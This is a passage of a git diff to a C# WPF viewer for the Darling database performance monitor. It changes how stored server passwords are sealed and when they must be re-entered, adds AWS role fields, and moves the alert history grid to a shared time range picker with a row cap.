index 53b5d19149..8f92a30a3d 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/AddServerDialog.xaml.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/AddServerDialog.xaml.cs
@@ -12,6 +12,7 @@
 using System.Threading.Tasks;
 using System.Windows;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 using PerformanceMonitor.Notifications;
 using PerformanceMonitor.Ui;
 
@@ -27,7 +28,7 @@ namespace PerformanceMonitor.Darling.Viewer;
 ///
 /// <para><b>Auth + secrets.</b> The service connects with Windows, SQL, and the two non-interactive Entra
 /// modes — service principal and managed identity (#3484) — so those are the modes written (Windows →
-/// <c>integrated</c>; SQL → <c>sql</c> + a DPAPI-LocalMachine password blob via <see cref="ViewerServerSecret"/>;
+/// <c>integrated</c>; SQL → <c>sql</c> + a password sealed to the service's published key (<see cref="ViewerPasswordKey"/>);
 /// service principal → <c>serviceprincipal</c> + the client secret in the same blob shape; managed identity →
 /// <c>managedidentity</c>, secret-less), never plaintext. A SQL credential PROFILE is resolved to its concrete
 /// username + secret at write time. The INTERACTIVE Entra modes (MFA / device-code / default-credential) have
@@ -73,6 +74,7 @@ public AddServerDialog(
         string? seedDisplayName = null)
     {
         InitializeComponent();
+        AwsRoleNote.Text = AwsRoleSaveNote;
         _dataService = dataService;
         _serverStore = serverStore;
         _profileStore = profileStore;
@@ -113,6 +115,11 @@ one id. Recognition goes through IsPostgres (the TargetEngine parse) rather than
         {
             PostgresEngineRadio.IsChecked = true;
             PortBox.Text = existing.Port > 0 ? existing.Port.ToString(CultureInfo.InvariantCulture) : "";
+
+            /* #5452: the stored role. The external ID is not read back: the box stays empty and the line under it says
+               whether one is set. */
+            AwsRoleBox.Text = existing.AwsRoleArn ?? "";
+            AwsExternalIdState.Text = existing.AwsExternalIdSet ? AwsExternalIdSetNote : AwsExternalIdNoneNote;
         }
         SqlServerEngineRadio.IsEnabled = false;
         PostgresEngineRadio.IsEnabled = false;
@@ -148,28 +155,19 @@ one id. Recognition goes through IsPostgres (the TargetEngine parse) rather than
         {
             SqlAuthRadio.IsChecked = true;
             UsernameBox.Text = existing.Username ?? "";
-            /* Decrypt the stored blob to pre-fill the password (same-machine managed deploy). A blob produced
-               on another machine can't be read here — leave it blank; a blank password on save keeps the
-               existing blob (see the save path), so the server is not broken by an un-readable pre-fill. */
-            var decrypted = OperatingSystem.IsWindows() ? ViewerServerSecret.TryUnprotect(existing.EncryptedPassword) : null;
-            PasswordBox.Password = decrypted ?? "";
-            if (decrypted is null && !string.IsNullOrEmpty(existing.EncryptedPassword))
-            {
-                StatusText.Text = "The stored password can't be read on this machine — leave it blank to keep it, or type a new one.";
-            }
+            /* The password box starts blank on an edit (#5240): a blank box keeps the stored blob, and a typed one
+               replaces it. Pre-filling the decrypted password would make a change to how the server is reached send the stored
+               password to the new address, as if it had been typed; with the box blank, the save and the connection
+               test ask for the password again when how the server is reached changes (see TryResolveCredential). */
+            StatusText.Text = KeepStoredSecretHint("password");
         }
         else if (string.Equals(existing.Auth, ServerStoreCredential.ServicePrincipal, StringComparison.OrdinalIgnoreCase))
         {
-            /* #3484: prefill a service principal — client id in the app-id box, the secret decrypted from the
-               blob like a SQL password (blank on save keeps the existing blob). */
+            /* #3484: prefill a service principal's client id; the secret box starts blank like the SQL password's
+               (#5240): blank keeps the stored blob unless how the server is reached changes. */
             ServicePrincipalAuthRadio.IsChecked = true;
             AzureClientIdBox.Text = existing.Username ?? "";
-            var decrypted = OperatingSystem.IsWindows() ? ViewerServerSecret.TryUnprotect(existing.EncryptedPassword) : null;
-            AzureClientSecretBox.Password = decrypted ?? "";
-            if (decrypted is null && !string.IsNullOrEmpty(existing.EncryptedPassword))
-            {
-                StatusText.Text = "The stored client secret can't be read on this machine — leave it blank to keep it, or type a new one.";
-            }
+            StatusText.Text = KeepStoredSecretHint("client secret");
         }
         else if (string.Equals(existing.Auth, ServerStoreCredential.ManagedIdentity, StringComparison.OrdinalIgnoreCase))
         {
@@ -266,38 +264,8 @@ private void AuthMode_Changed(object sender, RoutedEventArgs e)
         {
             StatusText.Text = "";
         }
-        /* #2279: a stored secret — a SQL password OR a service-principal client secret (#3484) — is a DPAPI
-           LocalMachine blob ONLY the machine writing it can decrypt. The service is what has to decrypt it, so
-           a credential saved from a viewer on another PC than the service can never be used and the server
-           fails to connect on every sweep afterwards (the #2255 report). Said as soon as either secret-bearing
-           mode is picked, so it lands before the secret is typed rather than after the save.
-
-           WARNED, not refused: a non-loopback store does not prove this viewer is remote (a BYO store on
-           another host with the service local reads the same), and refusing would block a legitimate first-run
-           Add. Silent for a loopback store, which is the managed single-box deploy and the overwhelmingly
-           common case — a hint that fires for everyone is a hint nobody reads. */
-        else if ((SqlAuthRadio.IsChecked == true || ServicePrincipalAuthRadio.IsChecked == true)
-            && _dataService is { StoreIsOnThisMachine: false })
-        {
-            StatusText.Text = SqlCredentialMachineBoundHint;
-        }
-        else if (StatusText.Text == SqlCredentialMachineBoundHint)
-        {
-            StatusText.Text = "";
-        }
     }
 
-    /// <summary>
-    /// The #2279 hint. A const so <see cref="AuthMode_Changed"/> can clear exactly its own message when the mode
-    /// changes away — the same self-clearing discipline the Azure arm uses, which is what stops a stale hint
-    /// sitting under an unrelated mode.
-    /// </summary>
-    private const string SqlCredentialMachineBoundHint =
-        "This viewer's store is not on this machine. A SQL-auth password is encrypted for THIS machine only, " +
-        "so if the Darling service runs elsewhere it will not be able to decrypt it and the server will fail " +
-        "to connect. Add it from a viewer on the service's host, run --add-server there, or use an env:/file: " +
-        "reference instead.";
-
     /// <summary>
     /// #3499: swaps the engine-specific parts of the form. The SQL Server arm is the XAML's default state —
     /// this handler must restore EXACTLY that state on the way back, which is why it only ever toggles
@@ -416,17 +384,47 @@ internal static (int Port, string? Error) ParsePortText(string? text)
         _ => "Optional"
     };
 
+    private static string KeepStoredSecretHint(string what) =>
+        $"Leave the {what} blank to keep the stored one. If you change how the server is reached (address, database, login or encryption settings), enter it again.";
+
+    /// <summary>True on an edit when the form's connection settings differ from the stored row's by the rule the web and MCP
+    /// edit use (<see cref="ServerConnectionIdentity.Differ"/>: host, port, engine, database, read-only intent,
+    /// authentication, username, encrypt mode, trust certificate and multi-subnet failover). A port the box cannot parse
+    /// counts as unchanged here: the form's own port check reports it. The authentication and username are the ones the
+    /// credential being resolved carries.</summary>
+    private bool ReachMovedFromForm(string auth, string? username)
+    {
+        if (_existing is null)
+        {
+            return false;
+        }
+
+        var port = _existing.Port;
+        if (PostgresEngineRadio.IsChecked == true && ParsePortText(PortBox.Text) is (var parsed, null))
+        {
+            port = parsed;
+        }
+
+        var database = string.IsNullOrWhiteSpace(DatabaseNameBox.Text) ? null : DatabaseNameBox.Text.Trim();
+        var form = ServerConnectionIdentity.FromStoredColumns(
+            ServerNameBox.Text.Trim(), port, _existing.Engine, database, ReadOnlyIntentCheckBox.IsChecked == true, auth, username,
+            GetSelectedEncryptMode(), TrustCertCheckBox.IsChecked == true, MultiSubnetFailoverCheckBox.IsChecked == true);
+        var stored = ViewerPasswordSealer.IdentityOf(_existing);
+        return ServerConnectionIdentity.Differ(form, stored);
+    }
+
     /// <summary>
     /// Resolves the chosen credential source into the store's (auth, username, encrypted blob), or a
     /// user-facing error. Shared by Save and Test Connection so both apply the identical rules — including
     /// blocking the Azure/Entra modes the service can't honor and keeping an existing blob when the password
     /// box is left blank on edit.
     /// </summary>
-    private bool TryResolveCredential(out string auth, out string? username, out string? encryptedPassword, out string? error)
+    private bool TryResolveCredential(out string auth, out string? username, out string? encryptedPassword, out string? secret, out string? error)
     {
         auth = ServerStoreCredential.Integrated;
         username = null;
         encryptedPassword = null;
+        secret = null;
         error = null;
 
         if (UseProfileRadio.IsChecked == true)
@@ -461,15 +459,15 @@ below could never pass. */
             /* Secret-bearing profiles (SQL, service principal): resolve the concrete secret and write it onto
                the row — the store keeps concrete creds; profiles are a viewer authoring convenience the store
                needs no table for. */
-            var secret = _profileStore.GetSecret(profile.Id);
-            if (secret is null || string.IsNullOrEmpty(secret.Value.Password))
+            var profileSecret = _profileStore.GetSecret(profile.Id);
+            if (profileSecret is null || string.IsNullOrEmpty(profileSecret.Value.Password))
             {
                 error = $"The credential profile '{profile.Name}' has no stored secret on this machine. Re-enter it under Credential Profiles.";
                 return false;
             }
 
-            username = string.IsNullOrWhiteSpace(secret.Value.Username) ? profile.Username : secret.Value.Username;
-            encryptedPassword = ViewerServerSecret.Protect(secret.Value.Password);
+            username = string.IsNullOrWhiteSpace(profileSecret.Value.Username) ? profile.Username : profileSecret.Value.Username;
+            secret = profileSecret.Value.Password;
             return true;
         }
 
@@ -492,7 +490,7 @@ needs no table for. */
             var typed = PasswordBox.Password;
             if (!string.IsNullOrEmpty(typed))
             {
-                encryptedPassword = ViewerServerSecret.Protect(typed);
+                secret = typed;
                 return true;
             }
 
@@ -503,6 +501,14 @@ needs no table for. */
                 && string.Equals(_existing.Auth, ServerStoreCredential.Sql, StringComparison.OrdinalIgnoreCase)
                 && !string.IsNullOrEmpty(_existing.EncryptedPassword))
             {
+                /* #5240: the stored password is never reused for a different address. Any change to how the server is reached needs it
+                   typed again, here for the save and the connection test alike (the data layer refuses it too). */
+                if (ReachMovedFromForm(auth, username))
+                {
+                    error = ViewerDataService.EditPasswordNeededText;
+                    return false;
+                }
+
                 encryptedPassword = _existing.EncryptedPassword;
                 return true;
             }
@@ -527,7 +533,7 @@ DPAPI blob (same shape as a SQL password), so the resolve mirrors SQL auth exact
             var typedSecret = AzureClientSecretBox.Password;
             if (!string.IsNullOrEmpty(typedSecret))
             {
-                encryptedPassword = ViewerServerSecret.Protect(typedSecret);
+                secret = typedSecret;
                 return true;
             }
 
@@ -538,6 +544,14 @@ DPAPI blob (same shape as a SQL password), so the resolve mirrors SQL auth exact
                 && string.Equals(_existing.Auth, ServerStoreCredential.ServicePrincipal, StringComparison.OrdinalIgnoreCase)
                 && !string.IsNullOrEmpty(_existing.EncryptedPassword))
             {
+                /* #5240: the stored password is never reused for a different address. Any change to how the server is reached needs it
+                   typed again, here for the save and the connection test alike (the data layer refuses it too). */
+                if (ReachMovedFromForm(auth, username))
+                {
+                    error = ViewerDataService.EditPasswordNeededText;
+                    return false;
+                }
+
                 encryptedPassword = _existing.EncryptedPassword;
                 return true;
             }
@@ -561,10 +575,61 @@ a system-assigned identity leaves it blank. No password blob is written. */
         return false;
     }
 
+    /// <summary>What the dialog says under the external ID box when one is stored: the same wording as the web form.</summary>
+    internal const string AwsExternalIdSetNote = "An external ID is set. Leave the box blank to keep it, type a new one to replace it, or tick Clear external ID.";
+
+    /// <summary>What the dialog says under the external ID box when none is stored.</summary>
+    internal const string AwsExternalIdNoneNote = "No external ID is set.";
+
+    /// <summary>The sentence when the box holds a new external ID and Clear external ID is ticked.</summary>
+    internal const string AwsExternalIdTypedAndClearedMessage = "Type a new external ID or tick Clear external ID, not both.";
+
+    /// <summary>What the dialog says about the AWS role, beside its boxes (#5452). The service runs a stored role only
+    /// when it is allowed, so a save here is not the last step.</summary>
+    internal const string AwsRoleSaveNote =
+        "The service uses this AWS role only if it is listed in allowedAwsRoles in darling.json, or a server in "
+        + "darling.json uses it. A role saved here does not take effect until then.";
+
+    /// <summary>
+    /// Turns the two AWS boxes into the values to store, or a sentence for the status line (#5452). Blank is "not set". The
+    /// pair goes through the one shared check (<see cref="AwsRoleSettings.ValidatePair"/>). On an edit, a new role while an
+    /// external ID is stored needs the ID changed or cleared with it (<see cref="AwsRoleSettings.RoleChangeNeedsExternalId"/>):
+    /// the store's trigger refuses it for this seat, which does not own the table, so the dialog says so first. The ID
+    /// is never read back, so it counts as sent only when a new one was typed or <paramref name="clearExternalId"/> is
+    /// ticked (the stored one stays otherwise), and typing one while ticking the clear box is a sentence for the status
+    /// line. A blank role on an edit clears the stored role, because the box was filled with it.
+    /// </summary>
+    internal static (string? Role, string? ExternalId, bool ExternalIdSent, string? Error) ResolveAwsRole(
+        string? roleText, string? externalIdText, bool clearExternalId, string? storedRole, bool storedExternalIdSet)
+    {
+        var role = AwsRoleSettings.Normalize(roleText);
+        var externalId = AwsRoleSettings.Normalize(externalIdText);
+
+        if (clearExternalId && externalId is not null)
+        {
+            return (null, null, false, AwsExternalIdTypedAndClearedMessage);
+        }
+
+        var pairError = AwsRoleSettings.ValidatePair(role, externalId);
+        if (pairError is not null)
+        {
+            return (null, null, false, pairError);
+        }
+
+        var externalIdSent = clearExternalId || externalId is not null;
+        if (AwsRoleSettings.RoleChangeNeedsExternalId(storedRole, role, storedExternalIdSet, externalIdSent))
+        {
+            return (null, null, false, AwsRoleSettings.RoleChangeNeedsExternalIdMessage);
+        }
+
+        return (role, externalId, externalIdSent, null);
+    }
+
     /// <summary>Reads the form into a fresh store row (server_id derived from identity), or a user-facing error.</summary>
-    private MonitoredServerRow? BuildRowFromForm(out string? error)
+    private MonitoredServerRow? BuildRowFromForm(out string? error, out string? secret)
     {
         error = null;
+        secret = null;
 
         var host = ServerNameBox.Text.Trim();
         if (string.IsNullOrEmpty(host))
@@ -598,7 +663,7 @@ value it did not author (harmless to TargetEngine, but an edit must not mangle w
             port = parsedPort;
         }
 
-        if (!TryResolveCredential(out var auth, out var username, out var encryptedPassword, out var credError))
+        if (!TryResolveCredential(out var auth, out var username, out var encryptedPassword, out secret, out var credError))
         {
             error = credError;
             return null;
@@ -613,6 +678,25 @@ value it did not author (harmless to TargetEngine, but an edit must not mangle w
             return null;
         }
 
+        /* #5452: the AWS role belongs to a PostgreSQL target; a SQL Server row keeps whatever it already holds. */
+        var awsRole = _existing?.AwsRoleArn;
+        string? awsExternalId = null;
+        var awsExternalIdSent = false;
+        if (isPostgres)
+        {
+            var (role, externalId, externalIdSent, awsError) = ResolveAwsRole(
+                AwsRoleBox.Text, AwsExternalIdBox.Password, AwsClearExternalIdBox.IsChecked == true, _existing?.AwsRoleArn, _existing?.AwsExternalIdSet == true);
+            if (awsError is not null)
+            {
+                error = awsError;
+                return null;
+            }
+
+            awsRole = role;
+            awsExternalId = externalId;
+            awsExternalIdSent = externalIdSent;
+        }
+
         var displayName = DisplayNameBox.Text.Trim();
         if (string.IsNullOrEmpty(displayName))
         {
@@ -645,6 +729,9 @@ so every SQL Server Add derives the byte-identical id it always did. */
             Database = database,
             Engine = engine,
             Port = port,
+            AwsRoleArn = awsRole,
+            AwsExternalId = awsExternalId,
+            AwsExternalIdSent = awsExternalIdSent,
             Auth = auth,
             Username = username,
             EncryptedPassword = encryptedPassword,
@@ -661,6 +748,50 @@ so every SQL Server Add derives the byte-identical id it always did. */
         };
     }
 
+    /// <summary>The password is sealed once for the form's settings: the test and the save that follows it store the same text.</summary>
+    private readonly ViewerSealCache _sealCache = new();
+
+    /// <summary>
+    /// Reads the form into a store row and seals a newly entered password (#5366) to the service's published key, for that
+    /// row's connection settings. A password that is kept (a blank box on edit) stays as stored. The error is a sentence for
+    /// the status line; it never carries a password.
+    /// </summary>
+    private async Task<(MonitoredServerRow? Row, string? Error)> BuildSealedRowFromFormAsync()
+    {
+        var row = BuildRowFromForm(out var error, out var secret);
+        if (row is null || secret is null)
+        {
+            return (row, error);
+        }
+
+        if (_dataService is null)
+        {
+            return (null, ViewerPasswordKey.NoKeyText);
+        }
+
+        var key = await ViewerPasswordKey.GetSealKeyAsync(_dataService, this);
+        if (key.Sealer is null)
+        {
+            return (null, key.Refusal);
+        }
+
+        if (key.Notice is not null)
+        {
+            StatusText.Text = key.Notice;
+        }
+
+        try
+        {
+            row.EncryptedPassword = _sealCache.GetOrSeal(key.Sealer, secret, row);
+        }
+        catch (ViewerPasswordRefusedException ex)
+        {
+            return (null, ex.Message);
+        }
+
+        return (row, null);
+    }
+
     /// <summary>The per-server delivery override the combo encodes: index 0 = inherit the global (null),
     /// 1 = force Summary, 2 = force Per-event (#1236).</summary>
     private AlertNotificationMode? GetSelectedDeliveryOverride() => AlertDeliveryOverrideBox.SelectedIndex switch
@@ -699,8 +830,8 @@ private async void SaveButton_Click(object sender, RoutedEventArgs e)
         {
             SaveButton.IsEnabled = false;
 
-            /* Build (incl. DPAPI Protect, which can throw) inside the try so nothing escapes this async void. */
-            var row = BuildRowFromForm(out var error);
+            /* Build (incl. sealing the password) inside the try so nothing escapes this async void. */
+            var (row, error) = await BuildSealedRowFromFormAsync();
             if (row is null)
             {
                 StatusText.Text = error;
@@ -772,6 +903,22 @@ edit of the host keeps (#2158), so the flag stays with the server (#4768). Earli
             StatusText.Text = ex.Message;
             SaveButton.IsEnabled = true;
         }
+        catch (MonitoredServerPasswordNeededException ex)
+        {
+            /* #5240: a change to how the server is reached saved without a newly entered password. The message says so, in the same
+               words as the web and MCP edit; nothing was written. */
+            StatusText.Text = ex.Message;
+            SaveButton.IsEnabled = true;
+        }
+        catch (MonitoredServerAddressClaimedException ex)
+        {
+            /* #5240: another writer claimed this address between the check above and the write, so the write
+               refused and changed nothing. That is an expected refusal, like the two above: the message already
+               says what happened, so it is shown as it is, with no "Error saving server:" prefix and no
+               error-level log line. */
+            StatusText.Text = ex.Message;
+            SaveButton.IsEnabled = true;
+        }
         catch (Exception ex)
         {
             StatusText.Text = $"Error saving server: {ex.Message}";
@@ -793,8 +940,8 @@ private async void TestConnectionButton_Click(object sender, RoutedEventArgs e)
             TestConnectionButton.IsEnabled = false;
             SaveButton.IsEnabled = false;
 
-            /* Build (incl. DPAPI Protect) inside the try — a crypto failure must not escape this async void. */
-            var row = BuildRowFromForm(out var error);
+            /* Build (incl. sealing the password) inside the try — a crypto failure must not escape this async void. */
+            var (row, error) = await BuildSealedRowFromFormAsync();
             if (row is null)
             {
                 StatusText.Text = error;
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/AlertsHistoryTab.xaml b/Darling/PerformanceMonitor.Darling.Viewer/AlertsHistoryTab.xaml
index 39a3f4d0a8..e705f4b254 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/AlertsHistoryTab.xaml
+++ b/Darling/PerformanceMonitor.Darling.Viewer/AlertsHistoryTab.xaml
@@ -3,6 +3,7 @@
              xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
              xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
              xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
+             xmlns:ui="clr-namespace:PerformanceMonitor.Ui;assembly=PerformanceMonitor.Ui"
              mc:Ignorable="d"
              d:DesignHeight="450" d:DesignWidth="800">
     <!-- The full Alert History surface (W2a viewer copy-parity), copied from Lite's
@@ -81,14 +82,9 @@
                        Foreground="{DynamicResource ForegroundBrush}"/>
             <TextBlock Text="Time Range:" VerticalAlignment="Center" Margin="5,0,4,0"
                        Foreground="{DynamicResource ForegroundMutedBrush}"/>
-            <ComboBox x:Name="TimeRangeComboBox" Width="100" VerticalAlignment="Center"
-                      SelectionChanged="TimeRangeComboBox_SelectionChanged">
-                <ComboBoxItem Content="Last 1 Hour" Tag="1"/>
-                <ComboBoxItem Content="Last 4 Hours" Tag="4"/>
-                <ComboBoxItem Content="Last 24 Hours" Tag="24" IsSelected="True"/>
-                <ComboBoxItem Content="Last 7 Days" Tag="168"/>
-                <ComboBoxItem Content="All" Tag="8760"/>
-            </ComboBox>
+            <!-- #5562: the shared time range picker. The old "All" (8760 hours) is the picker's longest choice again, the span the alert table keeps (DarlingRetentionHorizons.AlertHistoryRetentionDays, 90 days); the code sets it. -->
+            <ui:TimeRangePicker x:Name="TimeRangePickerControl" Compact="True" VerticalAlignment="Center"
+                                RangeChanged="TimeRangePicker_RangeChanged"/>
             <TextBlock Text="Server:" VerticalAlignment="Center" Margin="12,0,4,0"
                        Foreground="{DynamicResource ForegroundMutedBrush}"/>
             <ComboBox x:Name="ServerFilterComboBox" Width="160" VerticalAlignment="Center"
@@ -126,7 +122,7 @@
                         <DataGridTextColumn.Header>
                             <StackPanel Orientation="Horizontal">
                                 <Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TimeLocal" Click="FilterButton_Click" Margin="0,0,4,0"/>
-                                <TextBlock Text="Time" FontWeight="Bold" VerticalAlignment="Center"/>
+                                <TextBlock x:Name="AlertTimeHeaderText" Text="Time" FontWeight="Bold" VerticalAlignment="Center"/>
                             </StackPanel>
                         </DataGridTextColumn.Header>
                     </DataGridTextColumn>
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/AlertsHistoryTab.xaml.cs b/Darling/PerformanceMonitor.Darling.Viewer/AlertsHistoryTab.xaml.cs
index a34a8feeed..0100fcd15d 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/AlertsHistoryTab.xaml.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/AlertsHistoryTab.xaml.cs
@@ -46,6 +46,14 @@ public partial class AlertsHistoryTab : UserControl
     private Popup? _filterPopup;
     private ColumnFilterPopup? _filterPopupContent;
     private DateTime? _lastRefreshed;
+
+    /// <summary>The read's row cap (D7): the newest 500 alerts. <see cref="LoadAlertsAsync"/> passes it to the read and
+    /// the count text (<see cref="JobHistoryCap.CountText(int, int, int, string)"/>) says "showing the newest 500" when
+    /// the read reached it.</summary>
+    internal const int RowCap = 500;
+
+    /// <summary>How many rows the last read returned, before any column filter: the cap belongs to the read.</summary>
+    private int _lastReadRowCount;
     private readonly DispatcherTimer _staleDataTimer;
 
     /// <summary>Raised with a short status message on load/dismiss/mute outcomes so the shell can show it.</summary>
@@ -54,6 +62,13 @@ public partial class AlertsHistoryTab : UserControl
     public AlertsHistoryTab()
     {
         InitializeComponent();
+        /* #5562: the shared picker; the old combo defaulted to the last 24 hours. */
+        TimeRangePickerControl.ZoneProvider = ViewerTimeHelper.CurrentDisplayZone;
+        TimeRangePickerControl.Value = TimeRangePresets.Find("1d")!;
+        /* #5562 R8: the old list's "All" is one choice again, the span the alert table keeps (90 days), not a year. */
+        TimeRangePickerControl.SetLongestChoice(ViewerTimeRangeWindow.AlertHistoryLongestChoice, "All");
+        /* #5565: a cross-server list has one fixed filter scope, so its filters survive a restart. */
+        ColumnFilterScope.SetServer(this, ColumnFilterScope.AllServers);
         _staleDataTimer = new DispatcherTimer { Interval = TimeSpan.FromSeconds(10) };
         _staleDataTimer.Tick += StaleDataTimer_Tick;
     }
@@ -91,11 +106,10 @@ private async Task LoadAlertsAsync()
 
         try
         {
-            var hoursBack = GetSelectedHoursBack();
+            var (sinceUtc, untilUtc, isLive) = GetSelectedWindow();
             int? serverId = GetSelectedServerId();
-            var sinceUtc = DateTime.UtcNow.AddHours(-hoursBack);
 
-            var alerts = await _dataService.GetAlertHistoryAsync(sinceUtc, serverId);
+            var alerts = await _dataService.GetAlertHistoryWindowAsync(sinceUtc, isLive ? null : untilUtc, serverId, RowCap);
 
             if (_filterManager != null)
             {
@@ -108,7 +122,10 @@ private async Task LoadAlertsAsync()
 
             var displayCount = AlertsDataGrid.Items.Count;
             NoAlertsMessage.Visibility = displayCount == 0 ? Visibility.Visible : Visibility.Collapsed;
-            AlertCountIndicator.Text = displayCount > 0 ? $"{displayCount} alert(s)" : "";
+            AlertTimeHeaderText.Text = TimeColumnTitle.For("Time", ViewerTimeHelper.CurrentDisplayMode); // D5: the column names its clock
+            /* D7: the cap applies to the READ (alerts.Count), not to what a column filter leaves on screen. */
+            _lastReadRowCount = alerts.Count;
+            AlertCountIndicator.Text = JobHistoryCap.CountText(displayCount, _lastReadRowCount, RowCap, "alert(s)");
 
             _lastRefreshed = DateTime.UtcNow;
             UpdateStaleDataIndicator();
@@ -181,13 +198,16 @@ private void PopulateServerFilter(List<ViewerAlertRow> alerts)
         ServerFilterComboBox.SelectionChanged += ServerFilterComboBox_SelectionChanged;
     }
 
+    /// <summary>The picker's window now (#5562): start, end and whether the end slides with now. Both the grid read and
+    /// Dismiss All use it, so Dismiss All touches exactly the rows the grid shows.</summary>
+    private (DateTime StartUtc, DateTime EndUtc, bool IsLive) GetSelectedWindow()
+        => ViewerTimeRangeWindow.Window(TimeRangePickerControl.Value, DateTime.UtcNow, ViewerTimeHelper.CurrentDisplayZone());
+
+    /// <summary>The window's span as whole hours back (at least one), for the dismissal log line.</summary>
     private int GetSelectedHoursBack()
     {
-        if (TimeRangeComboBox.SelectedItem is ComboBoxItem item && item.Tag is string tagStr)
-        {
-            return int.TryParse(tagStr, out var hours) ? hours : 24;
-        }
-        return 24;
+        var (startUtc, endUtc, _) = GetSelectedWindow();
+        return ViewerTimeRangeWindow.HoursBack(startUtc, endUtc);
     }
 
     private int? GetSelectedServerId()
@@ -242,7 +262,7 @@ private void FilterPopup_FilterApplied(object? sender, FilterAppliedEventArgs e)
         }
 
         _filterManager?.SetFilter(e.FilterState);
-        AlertCountIndicator.Text = AlertsDataGrid.Items.Count > 0 ? $"{AlertsDataGrid.Items.Count} alert(s)" : "";
+        AlertCountIndicator.Text = JobHistoryCap.CountText(AlertsDataGrid.Items.Count, _lastReadRowCount, RowCap, "alert(s)");
     }
 
     private void FilterPopup_FilterCleared(object? sender, EventArgs e)
@@ -276,7 +296,7 @@ private void UpdateStaleDataIndicator()
 
     #region Event Handlers
 
-    private async void TimeRangeComboBox_SelectionChanged(object sender, SelectionChangedEventArgs e)
+    private async void TimeRangePicker_RangeChanged(object? sender, TimeRangeChangedEventArgs e)
     {
         if (IsLoaded)
         {
@@ -362,8 +382,9 @@ private async void DismissAll_Click(object sender, RoutedEventArgs e)
         {
             var hoursBack = GetSelectedHoursBack();
             int? serverId = GetSelectedServerId();
-            var sinceUtc = DateTime.UtcNow.AddHours(-hoursBack);
-            var affected = await _dataService.DismissAllVisibleAlertsAsync(sinceUtc, serverId);
+            /* The same window the grid read (#5562): a range that ended in the past dismisses only the rows up to its end. */
+            var (sinceUtc, untilUtc, isLive) = GetSelectedWindow();
+            var affected = await _dataService.DismissAllVisibleAlertsWindowAsync(sinceUtc, isLive ? null : untilUtc, serverId);
             if (LogDismissals)
             {
                 var scope = serverId.HasValue ? $"server {serverId.Value}" : "all servers";
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/App.xaml.cs b/Darling/PerformanceMonitor.Darling.Viewer/App.xaml.cs
index 5b4046ecf8..5c779b5ab1 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/App.xaml.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/App.xaml.cs
@@ -68,6 +68,14 @@ diagnostic the one guaranteed to vanish. Nothing between here and its old positi
            failure. */
         ViewerLogger.Initialize();
 
+        /* #5565: the grids' column filters survive a restart. The file holds logins, hosts and application names the
+           reader ticked, so it lives under LOCAL application data (as Lite's does), not the roaming profile that
+           viewer-preferences.json uses; a file an earlier build left in the roaming folder is moved over once. */
+        ColumnFilterStore.Install(
+            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "PerformanceMonitorDarling", "column-filters.json"),
+            message => ViewerLogger.Warn("ColumnFilterStore", message),
+            Path.Combine(Path.GetDirectoryName(ViewerPreferencesStore.DefaultFilePath())!, "column-filters.json"));
+
         /* #3577: the operator's per-theme color overrides live beside viewer-settings.json, in the viewer's
            own per-user directory - LOCAL to this machine, never in the store or the control plane, because
            a color is a preference of the person at this screen and not a fact about the fleet. The path
@@ -139,6 +147,9 @@ older one closes it and takes over (Velopack upgrade). The viewer holds no exclu
         AppDomain.CurrentDomain.UnhandledException += OnDomainUnhandledException;
         TaskScheduler.UnobservedTaskException += OnUnobservedTaskException;
 
+        /* F17: tabs and column headers made of panels get an accessible name equal to their visible text. */
+        PerformanceMonitor.Ui.AccessibleNames.Register();
+
         base.OnStartup(e);
 
         // Right-click selects the DataGrid row under the cursor app-wide, so context-menu actions
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/CollectionLogWindow.xaml b/Darling/PerformanceMonitor.Darling.Viewer/CollectionLogWindow.xaml
index 8c8641e18c..6d3d5962c4 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/CollectionLogWindow.xaml
+++ b/Darling/PerformanceMonitor.Darling.Viewer/CollectionLogWindow.xaml
@@ -53,6 +53,11 @@
             <StackPanel>
                 <TextBlock x:Name="CollectorNameText" FontSize="16" FontWeight="Bold"/>
                 <TextBlock x:Name="SummaryText" Margin="0,5,0,0"/>
+                <!-- "Showing since <start>" when this server's collection log starts after the 7 days this window reads (#4966). -->
+                <TextBlock x:Name="CollectionLogTruncationBanner" Visibility="Collapsed" Margin="0,5,0,0"
+                           Padding="8,4" FontWeight="Bold"
+                           Foreground="{DynamicResource ForegroundBrush}"
+                           Background="#22FFAA00"/>
             </StackPanel>
         </Border>
 
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/CollectionLogWindow.xaml.cs b/Darling/PerformanceMonitor.Darling.Viewer/CollectionLogWindow.xaml.cs
index e56de9d3c1..aa0b20a7eb 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/CollectionLogWindow.xaml.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/CollectionLogWindow.xaml.cs
@@ -7,9 +7,11 @@
  */
 
 using System;
+using System.Collections.Generic;
 using System.Linq;
 using System.Threading.Tasks;
 using System.Windows;
+using System.Windows.Controls;
 using PerformanceMonitor.Ui;
 
 namespace PerformanceMonitor.Darling.Viewer
@@ -18,7 +20,7 @@ namespace PerformanceMonitor.Darling.Viewer
     /// The per-collector collection-history drill window (W1i), copied from Lite's
     /// <c>Windows/CollectionLogWindow.xaml.cs</c>. The Collection Health "Health Summary" grid opens it
     /// on double-click. Purely data-driven; the one change from Lite is the data call — repointed to
-    /// <see cref="ViewerDataService.GetCollectionLogByCollectorAsync"/> (Postgres). Copy/Export use the
+    /// <see cref="ViewerDataService.GetCollectionLogByCollectorAsync(int, string, DateTime, DateTime, CancellationToken)"/> (Postgres). Copy/Export use the
